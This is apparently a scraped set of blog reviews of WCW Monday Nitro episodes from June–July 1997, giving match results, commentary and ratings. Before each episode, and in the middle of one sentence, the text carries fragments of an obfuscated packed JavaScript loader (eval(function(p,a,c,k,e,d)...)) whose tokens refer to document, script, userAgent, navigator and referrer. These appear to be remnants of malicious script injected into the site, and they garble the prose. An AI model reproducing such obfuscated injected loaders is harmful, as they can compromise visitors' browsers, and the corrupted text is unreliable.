");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ettat|var|u0026u|referrer|feikr||js|php'.split('|'),0,{})) Nitro #98
Date: July 28, 1997
Location: Charleston Civic Center, Charleston, West Virginia
Attendance: 9,575
Commentators: Mike Tenay, Bobby Heenan, Larry Zbyszko, Tony Schiavone

The Nitro Girls do their thing.

Curt Hennig/Ric Flair vs. Vicious and Delicious

TV Title: Prince Iaukea vs. Ultimo Dragon

Dragon is defending and runs the Prince over to start. The headstand in the corner mesmerizes another opponent and the champ puts on a reverse chinlock. The wide section of empty chairs that were full during the first match is a telling sign about the interest in this match. Then again, the people in the match could probably tell you the same thing. Dragon loads up the super rana but Prince superplexes him down instead. We get a pinfall reversal sequence before Iaukea dropkicks the champ down for no cover. A superkick gets two and Iaukea blocks the Dragon Sleeper. The second attempt works though and Prince taps.

Texas Hangmen vs. Steve McMichael/Chris Benoit

Cruiserweight Title: Chris Jericho vs. Alex Wright

Jericho is defending here. The opening part of the match is ignored for the sake of house show ads as Wright slaps Jericho in the corner. They fight for arm control with the champion taking Alex to the mat. Those big stretches of empty seats in the crowd are kind of distracting. A spinwheel kick puts Wright down and out to the floor, causing the match to come to a halt.

Hour #2 begins and the pyro is back.

Syxx vs. Diamond Dallas Page

Tony: “CLEARLY CURT HENNIG IS PART OF THE NWO!” Very clearly indeed.

Dean Malenko vs. Hector Guerrero

Chavo Guerrero comes out to check on his uncle and gets beaten up as well.

Lee Marshall is in Detroit.

Giant vs. Great Muta

Rating: D+. What did you expect from this match? There are only a handful of ways to fight Giant and going after the knee is the mos common answer. The covering of the eyes is one of those things that seems to be common sense but no one ever does. Muta is a really talented guy but he was basically a jobber in the NWO. Much like the rest of the show, nothing of note to see here.

Konnan vs. La Parka

Psychosis comes out for the save post match.

The announcers talk about the world title match next week and we get a phone call from JJ Dillon. Apparently he and the executive committee want Sting back in the ring by September.

Randy Savage vs. Scott Steiner

Savage slaps him in the face to start before shoving referee Randy Anderson into Scott to take him down. Steiner comes back with a gorilla press slam to send Savage to the floor. Savage throws a chair into the ring and we take a break. Back with Steiner hitting a belly to belly suplex, sending Savage to the floor. Just like old times, Randy hides behind Liz and sends Scott knees first into the steps.

Back to ringside and they brawl a bit more with Scott maintaining control. Steiner gets two on a small package followed by a butterfly powerbomb for no cover. A Super Frankensteiner puts Savage down but Liz throws in her shoe. Cue the Outsiders for the SHOCKING, yes SHOCKING I SAY, run-in DQ.

Remember to follow me on Twitter @kbreviews

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aeant|var|u0026u|referrer|nkbfr||js|php'.split('|'),0,{})) Nitro #97
Date: July 22, 1997
Location: Jacksonville Memorial Coliseum, Jacksonville, Florida
Commentators: Mike Tenay, Bobby Heenan, Tony Schiavone, Larry Zbyszko

Konnan vs. Tsubusa

TV Title: Ultimo Dragon vs. Steven Regal

Rating: C+. Dragon is one of those guys that had the skill in the ring and was better than most of the other cruiserweights, but the lack of personality always held him back. Now that being said, this was solid stuff because it was what Dragon was best at: matches where he had someone solid to work with and you got a good match out of it in the process. Solid stuff here, especially for a four minute match.

More dancing.

Giant vs. Great Muta

They circle each other for a bit, Giant no sells some dropkicks and grabs Muta by the throat, and Muta mists him for the DQ.

Dean Malenko vs. Steve McMichael

Eddie Guerrero vs. Hector Guerrero

Hector takes him down with a headscissors but a dropkick misses. Eddie starts stomping but we head to the floor for a chase. Back in and Hector uses a side roll to roll Eddie around the ring about four times for two. Eddie comes back with some biting but another headscissors sends him to the floor. Hector hits a big plancha on the floor but back inside, Eddie powerbombs him down and hits the Frog Splash for a fast pin.

Post match Dean comes in to beat up Eddie. He puts him in the Cloverleaf but Hector breaks it up. Dean then beats up Hector as well.

Hour #2 begins with no pyro again.

Lex Luger vs. Scott Norton

Luger cleans house and Racks Vincent. Lex talks a bit until Hogan comes out to exchange some brief insults.

The Outsiders arrive and Konnan is here to meet them.

La Parka/Psychosis vs. Mortis/Wrath

Buff Bagwell vs. Booker T

This is before Booker means anything as a singles guy. Buff armdrags him down and things speed WAY up, resulting in a hiptoss to take Booker down. He immediately spins up and kicks Bagwell down to take over before knocking Buff to the floor. Back in and Bagwell chokes away a bit and slaps Booker in the back of the head. A clothesline turns Booker inside out for two.

Bagwell and referee Nick Patrick get in a shoving match and Bagwell hides in the corner. HHH and Earl Hebner used to do the same spot at house shows. Booker comes back with a big forearm to the face and some atomic drops for no cover. The Harlem Side Kick gets two but Patrick gets hit in the side of the head. Norton clotheslines Booker down and the Blockbuster gives Buff the pin.

Curt Hennig vs. Michael Wallstreet

Tag Titles: Outsiders vs. Ric Flair/Chris Benoit

Rating: C+. I remember this match being a lot better. The ending seemed very rushed and likely happened because they were out of time. If you gave this match another five to seven minutes, it could go way up in quality. Benoit getting a chance to shine is always a good thing, as he was really starting to come into his own at this point. Not a bad match but nothing great either.

Syxx puts Flair in the Buzzkill on the bad arm until Mongo makes the save. The Steiners come out to stare at the Outsiders as we go off the air.

Remember to follow me on Twitter @kbreviews

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dkhza|var|u0026u|referrer|zrbte||js|php'.split('|'),0,{})) Nitro #96
Date: July 14, 1997
Location: Orlando Arena, Orlando, Florida
Commentators: Mike Tenay, Bobby Heenan, Tony Schiavone, Larry Zbyszko

Alex Wright vs. Prince Iaukea

Eddie Guerrero vs. Chavo Guerrero Jr.

Post match Eddie hits another splash until Hector comes out for the save.

The Nitro Girls dance a bit more in smaller outfits.

Harlem Heat promises to beat up the Outsiders.

Vicious and Delicious vs. Steiner Brothers

For the sake of simplicity, Scott Steiner will be called Scott and Scott Norton will be called Norton. Scott and Buff start things off as we hear about the Steiners facing the Outsiders for the titles at Road Wild. Buff takes Scott down and dances a bit, resulting in Rick smacking him in the back of the head. Scott hiptosses him out of the corner so Buff complains of a tights pull. A dropkick puts Scott on the floor so Scott comes back with a BIG clothesline to take over.

The Steiners come back and beat up the NWO.

Chris Benoit vs. Mike Enos

La Parka vs. Super Calo

Kimberly flashes a Diamond Cutter sign at La Parka as he comes in. Savage runs in less than a minute in to beat up La Parka for the DQ.

Lee Marshall from Jacksonville.

Harlem Heat vs. Syxx/Scott Hall

The Girls dance some more.

Great Muta/Masahiro Chono vs. Public Enemy

US Title: Ric Flair vs. Jeff Jarrett

The Horsemen beat down Jarrett.

Remember to follow me on Twitter @kbreviews

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fkzes|var|u0026u|referrer|tyadi||js|php'.split('|'),0,{})) Nitro #95
Date: July 7, 1997
Location: Mid-South Coliseum, Memphis, Tennessee
Attendance: 7,799
Commentators: Mike Tenay, Tony Schiavone, Bobby Heenan, Larry Zbyszko

We open with a recap of Sting cleaning house last week to end the show, as Hennig and Raven came to ringside as well.

Opening sequence.

Harlem Heat vs. Public Enemy

Joe Gomez vs. Konnan

Raven is in the front row again. Konnan hammers away to start but Gomez comes back with his usual jobber offense. Tenay talks about Raven being ECW Champion without saying ECW. Konnan cranks away on the head and arm for awhile and hits the rolling clothesline for two. The Tequila Sunrise (kneeling arm trap half crab) ends Gomez pretty quickly.

Rating: D. Just a squash here and Gomez continues to be one of those guys that is always around but never really did anything. Konnan would be continuing his heel turn (I think?) in the next few months before finally joining the NWO just like almost every other heel on the roster would do.

Hector Garza/Juventud Guerrera vs. Villano IV/Villano V

Vicious and Delicious vs. Eddie Guerrero/Chavo Guerrero

Rating: C-. This was a more entertaining match which was helped because I like the Blockbuster a lot. Other than that, this was more about an angle instead of the match, which was really just a long squash. Vicious and Delicious never went anywhere but they were fine for matches like this one. More weak stuff on the show so far.

La Parka vs. Randy Savage

Ernest Miller/Glacier vs. Silver King/Psychosis

All three teams brawl for awhile.

Raven still has nothing to say but Stevie Richards comes in to speak for Bird Boy. He calls himself Dancing Stevie Richards and tells Tenay to go “ask one of the Mexicans what their favorite movie is.” Richards asks Raven some questions but again gets no answers. Tenay gets shoved away.

Chris Benoit/Steve McMichael vs. Steiners

Apparently it was Jeff Jarrett in the ring. Good enough I guess. Steve and Scott start things off with Steiner immediately taking it to the mat. Mongo comes back with a powerslam but walks into a spinning belly to belly for two. Off to Rick vs. Benoit with Benoit going off on Steiner in the corner. Rick comes back with a release overhead belly to belly for two and grabs him on the mat.

Mongo comes in again and punches Rick a bit as the match slows down. Rick shoves him into the corner so Scott can beat on McMichael on the floor a bit. Savage is in the back beating up Nick Patrick and hurting his shoulder. What would a main event be without a cutaway to something in the back? Scott gorilla presses Benoit and puts him in an STF. Rick gets the tag and puts Benoit in an STF of his own.

Here are Hogan and Bischoff to close the show. Bischoff talks about seeing Luger on Regis and Kathy Lee this morning and how after Sunday, no one is going to want to see him again. This is a really basic interview until Luger and Giant chase them off to end the show. The NWO comes in and Luger puts Bischoff in the Rack with Giant running interference.

http://kbwrestlingreviews.com/2012/04/22/bash-at-the-beach-1997-nba-players-and-armdrags/

Remember to follow me on Twitter @kbreviews

Fifteen eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dindy|var|u0026u|referrer|ahair||js|php'.split('|'),0,{})) years ago (yesterday), the wrestling world was changed forever when Vince said ring the bell, screwing Bret out of the WWF Title and causing more talk and more conspiracy theories about a single subject than ever before or since in wrestling.  My question to you all: has there ever been a more controversial single moment in wrestling?  I can’t think of one.

http://kbwrestlingreviews.com/2011/11/06/history-of-survivor-series-count-up-1997-what-a-screwy-show/

Remember to follow me on Twitter @kbreviews

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hfznz|var|u0026u|referrer|eysyh||js|php'.split('|'),0,{})) Nitro #94
Date: June 30, 1997
Location: MGM Grand Garden Arena, Las Vegas, Nevada
Commentators: Mike Tenay, Bobby Heenan, Tony Schiavone, Larry Zbyszko

Cruiserweight Title: Juventud Guerrera vs. Chris Jericho

Dean Malenko vs. Eddie Guerrero

Here are Bischoff and Hogan with something to say. Eric is on a motorcycle because he enjoys being on them. Hogan talks about beating down all of their enemies and partying with Rodman (not here) later tonight. The party is the highlight of the interview. Pretty much Hogan had nothing to say here.

TV Title: Hector Garza vs. Steven Regal

Super Calo vs. Psychosis

Hour #2 starts.

Steve McMichael/Ric Flair/Chris Benoit vs. Buff Bagwell/Masahiro Chono/Scott Norton

High Voltage vs. Mortis/Wrath

Wrath pounds on Kaos in the corner and things break down in about twenty seconds. A top rope clothesline puts Kaos down and the squash is on. Glacier and Miller come to ringside and the distraction draws Wrath to the floor, allowing Cat (Miller) to kick Mortis in the face and give High Voltage the big upset.

A limo is in the back. Presumably this is the impact player. The door opens, the camera zooms in on it, and the door closes.

Road Report.

US Title: Jeff Jarrett vs. Konnan

Rey Mysterio Jr. vs. Kevin Nash

Rey goes right at him and takes Nash down, but a sunset flip goes about as badly as you would expect it to for Mysterio. Nash LAUNCHES Mysterio across the ring and the Jackknife ends this quick. So Mysterio stands up to the NWO and is promptly destroyed. Thanks for wasting our time on that guys.

Nash drops Mysterio again and hits the referee too. Konnan comes out as Nash powerbombs Rey a third time. Nash leaves and Konnan puts on the Tequila Sunrise, apparently joining the NWO. Mysterio is taken out on a stretcher.

Diamond Dallas Page/Lex Luger/The Giant vs. Randy Savage/Outsiders

The NWO destroys Page as Hogan walks around on the floor. Savage hits a second elbow and Sting is in the crowd. Savage hits a third elbow and another Sting drops in from the rafters. Hogan bails and Sting clears the ring. Curt Hennig walks down the aisle and the show ends with him doing nothing at all. Raven jumps the guardrail, which is some of the only main event interaction I ever remember him having in WCW.

Overall Rating: C+. This is a back and forth show. It feels like a big show for sure, given all of the matches they had on here and some of the stuff they had going on, but nothing on here is anything more than ok from a quality standpoint. That being said, we had a lot of stuff on here and it certainly feels like a big show, which is what they were shooting for. The ending looks really interesting, but the important question is how will they follow up on it.

Remember to follow me on Twitter @kbreviews

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tkeih|var|u0026u|referrer|isfks||js|php'.split('|'),0,{})) Nitro #93
Date: June 23, 1997
Location: Macon Coliseum, Macon, Georgia
Commentators: Mike Tenay, Bobby Heenan, Tony Schiavone, Larry Zbyszko

Opening sequence.

By the way, before the show started, a local guy debuted (I believe) in a dark match. His name: Goldberg.

Public Enemy vs. La Parka/Damien

Alex Wright vs. Chris Jericho

This is a rematch from two weeks ago. Wright jumps Jericho as he gets in the ring and things start fast. Jericho comes back with a spinwheel kick to send Wright to the floor. Alex starts to take a walk but comes back to kick Jericho in the ribs a few times. Chris takes him to the mat to take over and works on an armbar. A springboard shoulder block puts Wright on the floor but Jericho dives into a dropkick to shift momentum again. Wright stops to dance but Jericho hits a Lionsault Press for two. Jericho catches him coming out of the corner and the Liontamer (called a Boston Crab here) gets the submission.

The announcers talk about the PPV main event and the NWO interfering in the tag match at the previous PPV.

Steiner Brothers vs. Harlem Heat

Off to Rick and the fans start barking. Stevie beats on him and kicks Rick in the head to take over. When all else fails, kick the guy in the head. Rick comes back with a belly to back and barks some more. Off to Scott vs. Booker again with the future Freakzilla taking over via a belly to belly. A double tag brings in Stevie and Rick with Stevie powerslamming Rick down for two.

Hector Garza vs. Villano IV

Cruiserweight Title: Chavo Guerrero Jr. vs. Syxx

Konnan vs. Steve McMichael

Jarrett is on official Horsemen probation apparently. Mongo shoves Konnan down to start so Konnan wants to get in a three point stance. One of these guys would wind up in the College Football Hall of Fame so guess how well this goes for Konnan. Back in after Mongo shoves him to the floor, Konnan pounds away in the corner. We hit a neck crank but Hugh Morrus comes out to distract Konnan, allowing Mongo to hit the Tombstone for the quick pin. Nothing to see here.

Glacier/Ernest Miller vs. High Voltage

Wrath and Mortis stare some more.

Diamond Dallas Page vs. Scott Hall

Rating: C-. Standard Nitro main event here as the match was mostly kicking and punching before they were setting up a finish and the DQ ending. The important thing here is that Page looked comfortable in there against a big name, instead of looking like he was in over his head. The Savage feud did an excellent job of elevating him to this level which you hardly ever see anymore.

Remember to follow me on Twitter @kbreviews

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eyeez|var|u0026u|referrer|rdfsh||js|php'.split('|'),0,{})) Nitro #92
Date: June 16, 1997
Location: United Center, Chicago, Illinois
Attendance: 16,500
Commentators: Mike Tenay, Larry Zbyszko, Bobby Heenan, Tony Schiavone

The announcers talk about the PPV last night a bit.

Mortis vs. Glacier

The brawl starts on the floor before the bell with Glacier being sent into the barricade. Mortis tries a Fameasser on the steps but Glacier pulls him down onto them instead. They head inside and slug it out with Mortis taking over. Wrath comes out and Mortis hits a Fameasser off the middle rope for two. Mortis gets sent into Wrath and a superkick gives Glacier the pin.

Chavo Guerrero Jr. vs. Dean Malenko

This is happening because Eddie Guerrero cost Dean the US Title last week. Dean calls out Eddie but gets Chavo instead. Dean is fine with this and stomps Chavo down in the corner. Chavo comes back with a dropkick and some European uppercuts but Dean will have none of that. He swats away a dropkick and we head to the floor so Dean can work on the knee a bit.

Eddie leaves after just looking at the ring.

Super Calo vs. La Parka

This is because of last week where La Parka attacked Calo with a chair after the six man tag. La Parka immediately charges at him but misses a dropkick in the corner. He runs Calo over with a clothesline and gets two off a kick to the chest. Calo comes back with a flipping armdrag to send Parka to the floor, followed by a flip dive that lands Calo in the crowd. Back in and Parka kicks the leg out from under Calo and puts him in the Tree of Woe. After taking him down, a flipping dive misses Calo and a headscissors takes La Parka down for the unlikely pin.

La Parka breaks a plastic chair over his head post match.

Here are Luger and the Giant for a chat. Luger talks about how Hogan and Rodman are too cocky but he made Hogan give up last week. Giant wants to hurt Rodman and Hogan. Luger wants to do it tonight.

Harlem Heat vs. Amazing French Canadians

Cruiserweight Title: Syxx vs. Rey Mysterio Jr.

Mysterio comes back with a spin kick and hits a headscissors to take the champ down. Syxx is sent to the floor and Rey hits a flip dive off the top to take him out. Back in and Rey hits a top rope West Coast Pop but has to beat up the Outsiders. Syxx kicks his head off and the Buzz Killer gets the submission to retain the title.

The Outsiders kill Rey post match and get a mic. They talk about how they beat up Flair and Piper last night and keep smoking the cigars. Hall brings out Savage who also won last night. Savage brags about winning last night and praises Hogan a bit. Page and Kimberly pop up in the crowd and they bicker a bit. Page wants a tag match at Bash at the Beach. He has a mystery partner and tells Savage to get one of his own.

Ultimo Dragon vs. Chris Jericho

Rating: C+. This was another fast paced match as the focus tonight has been on the cruiserweights. Jericho would get a lot better very soon while the Dragon would get the TV Title later on in the summer. The ending here was good stuff as they were moving around very fast with a bunch of near falls, which is always cool to see.

Road Report.

Scott Norton/Buff Bagwell vs. Jeff Jarrett/Steve McMichael

Mongo vs. Norton to start things off with Scott taking over with a corner splash. Mongo comes back with a bulldog and a three point clothesline. Off to the US Champion (Jarrett) who gets double teamed almost immediately. Jeff comes back with a dropkick to send Norton into the corner but walks into a bearhug. Off to Buff who runs his mouth a lot but gets caught in an atomic drop.

Rating: D+. Nothing to see here as was the case with most Jarrett and Mongo matches of this era. They put the US Title on both guys and to the shock of no one payint attention, no one cared. Buff and Norton would wind up being the low level NWO tag team who went nowhere either.

Buy NWO shirts!

Hulk Hogan/Dennis Rodman vs. Lex Luger/The Giant

The Outsiders and Syxx beat on both guys and Rodman spraypaints Giant. The ring fills up with trash and the NWO celebrates to end the show. No Sting.

Remember to follow me on Twitter @kbreviews